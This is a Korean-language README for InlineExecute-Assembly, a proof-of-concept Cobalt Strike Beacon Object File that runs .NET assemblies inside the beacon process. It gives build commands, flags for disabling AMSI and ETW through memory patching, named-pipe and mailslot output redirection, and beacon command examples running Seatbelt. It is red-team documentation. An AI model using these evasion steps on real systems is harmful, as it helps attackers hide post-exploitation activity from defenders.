
인-프로세스 .NET 어셈블리 실행을 위한 Cobalt Strike BOF로, AMSI/ETW 우회, 사용자 정의 AppDomain, 및 네임드 파이프/메일슬롯 출력 리디렉션을 제공합니다.
InlineExecute-Assembly는 보안 전문가가 Cobalt Strike의 기존 fork and run execute-assembly 모듈 대신 프로세스 내 .NET 어셈블리 실행을 수행할 수 있도록 하는 개념 증명 Beacon Object File(BOF)입니다. InlineExecute-Assembly는 진입점이 Main(string[] args) 또는 Main()인 모든 어셈블리를 실행합니다. 이를 통해 사전 수정 없이 대부분의 공개된 도구를 실행할 수 있습니다.
BOF는 실행 전에 어셈블리에 필요한 공용 언어 런타임(CLR) 버전(v2.0.50727 또는 v4.0.30319)을 자동으로 결정하며, 대부분의 경우 문제가 발생해도 정상적으로 종료되어야 합니다. 또한 BOF는 .NET 실행 전에 운영자가 여러 동작을 지정할 수 있는 여러 플래그를 지원합니다. 여기에는 메모리 패치를 통한 AMSI 비활성화, 메모리 패치를 통한 ETW 비활성화 및 복원, 생성할 CLR App Domain 이름 사용자 정의, 어셈블리의 콘솔 출력을 named pipe 또는 mailslot으로 생성 및 리디렉션할지 여부, 기본 진입점을 Main(string[] args)에서 Main()으로 전환하는 기능이 포함됩니다. 사용법, 사용 사례 및 가능한 탐지에 대한 자세한 내용은 아래 및 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ 에서 확인할 수 있습니다.
마지막으로, .NET 어셈블리를 비콘 임플란트와 동일한 프로세스에서 실행할 때의 장점은 Cobalt Strike의 execute-assembly 모듈의 기본 동작(새 프로세스를 생성하여 CLR/.NET 어셈블리를 로드/주입)을 피할 수 있다는 점입니다. 그러나 여전히 다른 opsec 고려 사항이 존재합니다. 예를 들어, 실행 중인 프로세스가 일반적으로 CLR을 로드하는지 또는 실행 중인 .NET 어셈블리에 알려진 시그니처가 있는지 등입니다. 따라서 단점은 AMSI에 의해 탐지되어 종료될 경우 비콘도 함께 종료된다는 점입니다.
이 도구는 보안 커뮤니티 구성원들이 이미 발표한 훌륭한 연구, 도구 및 코드를 활용할 수 있었기에 존재할 수 있었습니다. 감사합니다. 마지막으로, 아래에 빠진 사람이 있다고 생각되면 알려주시면 추가하겠습니다.
x64 Native Tools Command Prompt for VS 2019를 사용하여 src 디렉토리에서 아래 명령어를 실행합니다.
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
x86 Native Tools Command Prompt for VS 2019를 사용하여 src 디렉토리에서 아래 명령어를 실행합니다.
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
--dotnetassembly 어셈블리의 디렉토리 경로 **필수**
--assemblyargs 전달할 어셈블리 인수
--appdomain 전송되는 AppDomain의 기본 이름 변경 (기본값은 totesLegit이며 포함된 aggressor 스크립트에서 설정됨) *도메인은 항상 언로드됨*
--amsi 메모리 패치를 통해 AMSI 비활성화 시도 (성공하면 프로세스 수명 동안 AMSI가 비활성화됨)
--etw 메모리 패치를 통해 ETW 비활성화 시도 (성공하면 되돌리지 않는 한 프로세스 수명 동안 ETW가 비활성화됨)
--revertetw 메모리 패치를 통해 ETW를 비활성화한 후 다시 원래 상태로 패치 복원
--pipe named pipe의 기본 이름 변경 (기본값은 totesLegit이며 포함된 aggressor 스크립트에서 설정됨)
--mailslot 콘솔 출력 리디렉션에 mailslot 사용으로 전환. mailslot의 기본 이름 변경 (비워두면 기본값은 totesLegit이며 포함된 aggressor 스크립트에서 설정됨)
--main 진입점을 Main()으로 변경 (기본값은 Main(string[] args))
.NET 어셈블리 실행
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
인수와 함께 .NET 어셈블리 실행
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
인수와 함께 .NET 어셈블리 실행 및 AMSI 비활성화
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
인수와 함께 .NET 어셈블리 실행 및 ETW 비활성화
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
인수와 함께 .NET 어셈블리 실행 및 기본 named pipe 대신 mailslot을 통해 출력 리디렉션
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
인수와 함께 .NET 어셈블리 실행 및 aggressor 스크립트에 설정된 기본 named pipe 이름 변경
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
.NET 어셈블리 실행 및 aggressor 스크립트에 설정된 기본 앱 도메인 변경
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
기본 Main(string[] args) 대신 Main() 진입점으로 .NET 어셈블리 실행
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
모든 기능 사용
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
사용할 수 있는 몇 가지 탐지 및 완화 전략: